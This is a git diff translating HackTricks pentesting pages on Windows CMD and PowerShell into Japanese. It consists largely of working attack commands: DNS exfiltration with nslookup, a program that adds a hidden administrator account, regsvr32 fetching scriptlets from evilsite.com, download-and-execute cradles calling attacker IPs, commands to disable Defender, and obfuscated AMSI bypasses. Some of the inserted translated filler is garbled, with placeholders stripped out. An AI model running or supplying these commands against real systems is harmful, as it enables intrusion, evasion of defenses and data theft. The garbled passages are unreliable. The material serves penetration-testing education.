+また、一部のアプリケーションでは、特定のコンテキストでのみ特定の文字をブラックリスト化する場合があります。したがって、ブラックリスト化された文字が使用されているコンテキストを理解し、望ましい結果を得るための代替手段を見つけることが重要です。 ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` - ### DOSfuscation -Generates an obfuscated CMD line - +CMDラインを曖昧化するためのコマンドを生成します。 ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation @@ -498,28 +2006,22 @@ help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` +### リッスンアドレスACL -### Listen address ACLs - -You can listen on [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) without being administrator. - +管理者権限なしで[http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/)でリッスンすることができます。 ```bash netsh http show urlacl ``` +### マニュアルDNSシェル -### Manual DNS shell - -**Attacker** (Kali) must use one of these 2 options: - +**攻撃者**(Kali)は、次の2つのオプションのいずれかを使用する必要があります: ```bash sudo responder -I #Active sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passive ``` +#### ターゲット -#### Victim - -_**for /f tokens**_ \_\*\*\_technique: This allows us to execute commands, get the first X words of each line and send it through DNS to our server - +_**for /f tokens**_ \_\*\*\_技術: これにより、コマンドを実行し、各行の最初のX単語を取得し、それをDNS経由でサーバーに送信できます。 ``` for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 @@ -529,16 +2031,29 @@ for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one ``` - -You can also **redirect** the output, and then **read** it. - +出力を**リダイレクト**して、それを**読み取る**こともできます。 ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` +## CコードからCMDを呼び出す -## Calling CMD from C code +To call CMD from C code, you can use the `system()` function provided by the C standard library. This function allows you to execute a command in the command prompt. +Here is an example of how to call CMD from C code: + +```c +#include + +int main() { + system("cmd /c "); + return 0; +} +``` + +Replace `` with the command you want to execute in CMD. The `/c` flag is used to execute the command and then terminate CMD. + +Compile and run the C code, and it will call CMD and execute the specified command. ```c #include /* system, NULL, EXIT_FAILURE */ @@ -547,17 +2062,15 @@ for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.tx // upx -9 addmin.exe int main (){ - int i; - i=system("net users otherAcc 0TherAcc! /add"); - i=system("net localgroup administrators otherAcc /add"); - return 0; +int i; +i=system("net users otherAcc 0TherAcc! /add"); +i=system("net localgroup administrators otherAcc /add"); +return 0; } ``` +## Alternate Data Streams チートシート (ADS/Alternate Data Stream) -## Alternate Data Streams CheatSheet (ADS/Alternate Data Stream) - -Taken from [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) - +[https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f)から取得しました。 ```bash ##Add content to ADS### type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" @@ -576,7 +2089,7 @@ cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^sc set-content - path {path to the file} - stream {name of the stream} ## Discover ADS contecnt -dir /R +dir /R streams.exe #Binary from sysinternals# Get-Item -Path .\fie.txt -Stream * gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' @@ -669,15 +2182,14 @@ https://github.com/sailay1996/misc-bin/blob/master/ads.md type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有する**には、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
diff --git a/windows-hardening/basic-powershell-for-pentesters/README.md b/windows-hardening/basic-powershell-for-pentesters/README.md index d7041f7e4..5a7f5f098 100644 --- a/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/windows-hardening/basic-powershell-for-pentesters/README.md @@ -1,26 +1,69 @@ -# Basic PowerShell for Pentesters +# ペンテスターのための基本的なPowerShell
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Default PowerShell locations - +## デフォルトのPowerShellの場所 ```powershell C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` +## 基本的なPSコマンドの開始 -## Basic PS commands to start +PowerShell(PS)は、Windowsシステムで使用される強力なスクリプト言語およびコマンドラインシェルです。Pentesterとして、PSを使用して効果的なハッキングテクニックを実行するために、いくつかの基本的なコマンドを知っておくことが重要です。 +以下は、Pentesterが始めるための基本的なPSコマンドです。 + +### 1. Get-Process + +このコマンドは、実行中のプロセスの一覧を表示します。Pentesterは、潜在的な脆弱性を持つプロセスを特定するために使用することができます。 + +```powershell +Get-Process +``` + +### 2. Get-Service + +このコマンドは、実行中のサービスの一覧を表示します。Pentesterは、悪意のあるサービスを特定するために使用することができます。 + +```powershell +Get-Service +``` + +### 3. Get-NetAdapter + +このコマンドは、ネットワークアダプターの情報を表示します。Pentesterは、ネットワーク接続に関する情報を収集するために使用することができます。 + +```powershell +Get-NetAdapter +``` + +### 4. Get-NetFirewallRule + +このコマンドは、ファイアウォールルールの一覧を表示します。Pentesterは、ファイアウォールの設定を調査するために使用することができます。 + +```powershell +Get-NetFirewallRule +``` + +### 5. Get-EventLog + +このコマンドは、イベントログのエントリを表示します。Pentesterは、セキュリティインシデントを特定するために使用することができます。 + +```powershell +Get-EventLog -LogName Security +``` + +これらの基本的なPSコマンドを使用することで、PentesterはWindowsシステムの調査を開始することができます。 ```powershell Get-Help * #List everything loaded Get-Help process #List everything containing "process" @@ -29,9 +72,19 @@ Get-Help Get-Item -Examples #List examples Import-Module Get-Command -Module ``` +## ダウンロードと実行 -## Download & Execute +```powershell +powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')" +``` +このコマンドは、PowerShellを使用してリモートのスクリプトをダウンロードして実行する方法です。 + +- `powershell -c`:PowerShellをコマンドラインモードで実行します。 +- `IEX`:Invoke-Expressionの略で、PowerShellスクリプトを実行するためのコマンドレットです。 +- `(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')`:`Net.WebClient`オブジェクトを作成し、指定したURLからスクリプトをダウンロードします。 + +このコマンドを実行すると、指定したURLからスクリプトがダウンロードされ、そのスクリプトが実行されます。注意が必要なのは、信頼できるソースからのみスクリプトをダウンロードすることです。 ```powershell g echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute @@ -42,67 +95,228 @@ $h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ip $wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd( #https://twitter.com/Alh4zr3d/status/1566489367232651264 -#host a text record with your payload at one of your (unburned) domains and do this: +#host a text record with your payload at one of your (unburned) domains and do this: powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ``` +### AMSIバイパスを使用してバックグラウンドでダウンロード&実行 -### Download & Execute in background with AMSI Bypass +This technique allows you to download and execute a file in the background while bypassing AMSI (Antimalware Scan Interface). + +#### PowerShellコード ```powershell -Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" +$URL = "http://example.com/file.exe" +$Output = "$env:TEMP\file.exe" + +# ファイルをダウンロード +$WebClient = New-Object System.Net.WebClient +$WebClient.DownloadFile($URL, $Output) + +# ダウンロードしたファイルを実行 +Start-Process -FilePath $Output -WindowStyle Hidden ``` -### Using b64 from linux +このコードは、指定したURLからファイルをダウンロードし、ダウンロードしたファイルをバックグラウンドで実行します。ファイルは一時ディレクトリに保存されます。 +#### AMSIバイパスの実行 + +```powershell +# AMSIバイパスを有効化 +[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) + +# ダウンロード&実行コードを実行 +$URL = "http://example.com/file.exe" +$Output = "$env:TEMP\file.exe" +$WebClient = New-Object System.Net.WebClient +$WebClient.DownloadFile($URL, $Output) +Start-Process -FilePath $Output -WindowStyle Hidden +``` + +このコードは、AMSIバイパスを有効化してから、ダウンロード&実行コードを実行します。AMSIバイパスにより、ファイルのダウンロードと実行が監視されずに実行されます。 +```powershell +Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" +``` +### Linuxでb64を使用する + +Linuxでは、`base64`コマンドを使用してファイルをBase64形式にエンコードおよびデコードすることができます。 + +- ファイルをBase64形式にエンコードする場合: + +```bash +base64 > +``` + +- Base64形式のファイルをデコードする場合: + +```bash +base64 -d > +``` + +``はエンコードまたはデコードするファイルのパスを指定し、``は結果を保存するファイルのパスを指定します。 + +例えば、`file.txt`をBase64形式にエンコードする場合は、次のコマンドを使用します: + +```bash +base64 file.txt > encoded.txt +``` + +同様に、`encoded.txt`をデコードする場合は、次のコマンドを使用します: + +```bash +base64 -d encoded.txt > decoded.txt +``` + +これにより、Linuxでb64を使用してファイルをエンコードおよびデコードすることができます。 ```powershell echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` - -## Download +## ダウンロード ### System.Net.WebClient - ```powershell (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` - ### Invoke-WebRequest +`Invoke-WebRequest`は、PowerShellのコマンドレットであり、WebサーバーにHTTPリクエストを送信するために使用されます。このコマンドレットは、Webページの内容を取得したり、ファイルをダウンロードしたりするために使用されます。 + +以下は、`Invoke-WebRequest`コマンドレットの使用例です。 + +```powershell +Invoke-WebRequest -Uri "https://example.com" +``` + +この例では、`https://example.com`に対してHTTPリクエストが送信されます。レスポンスは、PowerShellオブジェクトとして返されます。 + +`Invoke-WebRequest`コマンドレットには、さまざまなオプションがあります。たとえば、`-Method`オプションを使用して、HTTPメソッドを指定することができます。デフォルトでは、`GET`メソッドが使用されますが、`POST`や`PUT`などの他のメソッドも指定できます。 + +また、`-Headers`オプションを使用して、HTTPヘッダーを指定することもできます。これにより、カスタムのヘッダーをリクエストに追加することができます。 + +`Invoke-WebRequest`コマンドレットは、ペンテストやセキュリティ調査の際に非常に便利です。Webアプリケーションの脆弱性をテストしたり、Webサーバーから情報を収集したりするために使用することができます。 ```powershell Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` - ### Wget +Wget is a command-line utility that allows you to retrieve files from the web using HTTP, HTTPS, and FTP protocols. It is commonly used for downloading files, mirroring websites, and recursive downloading. + +#### Basic Usage + +To download a file using Wget, you can use the following command: + +``` +wget [URL] +``` + +Replace `[URL]` with the actual URL of the file you want to download. + +By default, Wget will save the downloaded file in the current directory with the same name as the remote file. If you want to specify a different name for the downloaded file, you can use the `-O` option followed by the desired file name: + +``` +wget -O [output-file] [URL] +``` + +Replace `[output-file]` with the name you want to give to the downloaded file. + +#### Downloading Multiple Files + +Wget also allows you to download multiple files at once. You can provide a list of URLs in a text file and use the `-i` option to specify the file containing the URLs: + +``` +wget -i [file-with-urls] +``` + +Replace `[file-with-urls]` with the path to the text file containing the URLs. + +#### Recursive Downloading + +One of the powerful features of Wget is its ability to perform recursive downloading. This means that it can download not only the specified file but also all the files linked to it. + +To enable recursive downloading, you can use the `-r` option: + +``` +wget -r [URL] +``` + +This will download the specified file and all the files linked to it, creating a local mirror of the website. + +#### Conclusion + +Wget is a versatile command-line tool for downloading files from the web. It provides various options for customizing the download process, such as specifying output file names and performing recursive downloads. ```powershell wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` - ### BitsTransfer +BitsTransferは、PowerShellのモジュールであり、ファイルのダウンロードやアップロードを簡単に行うための便利なツールです。BitsTransferを使用すると、高速で信頼性の高いファイル転送が可能です。 + +BitsTransferを使用するには、まず`Import-Module BitsTransfer`コマンドを実行してモジュールをインポートします。次に、`Start-BitsTransfer`コマンドを使用してファイルの転送を開始します。 + +以下は、BitsTransferを使用してファイルをダウンロードする例です。 + +```powershell +Import-Module BitsTransfer +Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Downloads\file.txt" +``` + +上記の例では、`http://example.com/file.txt`から`C:\Downloads\file.txt`にファイルをダウンロードしています。 + +BitsTransferは、ファイルのダウンロードやアップロードに便利なオプションを提供しています。例えば、`-Priority`オプションを使用して転送の優先度を設定したり、`-ProxyUsage`オプションを使用してプロキシを経由して転送を行ったりすることができます。 + +BitsTransferは、便利なツールであり、PowerShellを使用したファイル転送を簡単に行うためのオプションを提供しています。 ```powershell Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - ## Base64 Kali & EncodedCommand +In this section, we will discuss the usage of Base64 encoding in Kali Linux and the EncodedCommand parameter in PowerShell. + +### Base64 Encoding in Kali Linux + +Base64 encoding is a technique used to encode binary data into ASCII characters. In Kali Linux, you can use the `base64` command-line tool to encode and decode data using Base64. + +To encode a file using Base64, you can use the following command: + +```bash +base64 > +``` + +To decode a file encoded with Base64, you can use the following command: + +```bash +base64 -d > +``` + +### EncodedCommand Parameter in PowerShell + +The EncodedCommand parameter in PowerShell allows you to run a command that is Base64-encoded. This can be useful in scenarios where you want to execute a command without it being easily visible in plain text. + +To use the EncodedCommand parameter, you need to encode your PowerShell command using Base64. You can do this using the `[System.Convert]::ToBase64String()` method in PowerShell. + +Here is an example of how to use the EncodedCommand parameter: + +```powershell +powershell.exe -EncodedCommand +``` + +Replace `` with the Base64-encoded version of your PowerShell command. + +Keep in mind that using the EncodedCommand parameter can help obfuscate your commands, but it is not foolproof. Advanced attackers can still decode and analyze the encoded commands. ```powershell kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` +## [実行ポリシー](../authentication-credentials-uac-and-efs.md#ps-execution-policy) -## [Execution Policy](../authentication-credentials-uac-and-efs.md#ps-execution-policy) +## [制約言語](broken-reference/) -## [Constrained language](broken-reference/) - -## [AppLocker Policy](broken-reference/) - -## Enable WinRM (Remote PS) +## [AppLockerポリシー](broken-reference/) +## WinRMの有効化 (リモートPS) ```powershell enable-psremoting -force #This enables winrm @@ -110,14 +324,13 @@ enable-psremoting -force #This enables winrm #Requires -RunasAdministrator Get-NetConnectionProfile | - Where{ $_.NetWorkCategory -ne 'Private'} | - ForEach { - $_ - $_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm - } +Where{ $_.NetWorkCategory -ne 'Private'} | +ForEach { +$_ +$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm +} ``` - -## Disable Defender +## Defenderの無効化 {% code overflow="wrap" %} ```powershell @@ -149,19 +362,18 @@ ValueData : 0 ``` {% endcode %} -### AMSI bypass +### AMSIバイパス -**`amsi.dll`** is **loaded** into your process, and has the necessary **exports** for any application interact with. And because it's loaded into the memory space of a process you **control**, you can change its behaviour by **overwriting instructions in memory**. Making it not detect anything. +**`amsi.dll`**は、アプリケーションが相互作用するために必要な**エクスポート**を持ち、プロセスに**ロード**されます。そして、それがプロセスのメモリ空間にロードされているため、メモリ内の命令を**上書きすることで動作を変更**することができます。これにより、何も検出しないようにすることができます。 -Therefore, the goal of the AMSI bypasses you will are are to **overwrite the instructions of that DLL in memory to make the detection useless**. - -**AMSI bypass generator** web page: [**https://amsi.fail/**](https://amsi.fail/) +したがって、AMSIバイパスの目的は、**そのDLLの命令をメモリ内で上書きして検出を無効化する**ことです。 +**AMSIバイパスジェネレーター**のウェブページ: [**https://amsi.fail/**](https://amsi.fail/) ```powershell # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) -# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 +# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1 $A="5492868772801748688168747280728187173688878280688776828" $B="1173680867656877679866880867644817687416876797271" [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B). @@ -174,7 +386,7 @@ SetValue($null,$true) [Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI -&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) +&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( ) # Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI ${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s') @@ -201,80 +413,261 @@ https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/ https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans https://slaeryan.github.io/posts/falcon-zero-alpha.html ``` +### AMSIバイパス2 - マネージドAPI呼び出しフック -### AMSI Bypass 2 - Managed API Call Hooking +詳細な情報については、[**この投稿を参照してください**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/) **およびコード**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)。 -Check [**this post for detailed info**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)\*\*\*\*[ **and the code**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/). +この新しい技術は、.NETメソッドのAPI呼び出しフックに依存しています。実際、.NETメソッドはメモリ内でネイティブなマシン命令にコンパイルされる必要があり、ネイティブなメソッドと非常に似た形になります。これらのコンパイルされたメソッドは、プログラムの制御フローを変更するためにフックすることができます。 -This new technique relies upon API call hooking of .NET methods. As it turns out, .NET Methods need to get compiled down to native machine instructions in memory which end up looking very similar to native methods. These compiled methods can hooked to change the control flow of a program. +.NETメソッドのAPI呼び出しフックを実行する手順は次のとおりです。 -The steps performing API cal hooking of .NET methods are: - -1. Identify the target method to hook -2. Define a method with the same function prototype as the target -3. Use reflection to find the methods -4. Ensure each method has been compiled -5. Find the location of each method in memory -6. Overwrite the target method with instructions pointing to our malicious method +1. フックする対象メソッドを特定する +2. ターゲットと同じ関数プロトタイプを持つメソッドを定義する +3. メソッドを見つけるためにリフレクションを使用する +4. 各メソッドがコンパイルされていることを確認する +5. 各メソッドのメモリ上の位置を見つける +6. 悪意のあるメソッドを指す命令にターゲットメソッドを上書きする ## PS-History - ```powershell Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` +## 権限の取得 -## Get permissions +To get the permissions of a file or directory in PowerShell, you can use the `Get-Acl` cmdlet. This cmdlet 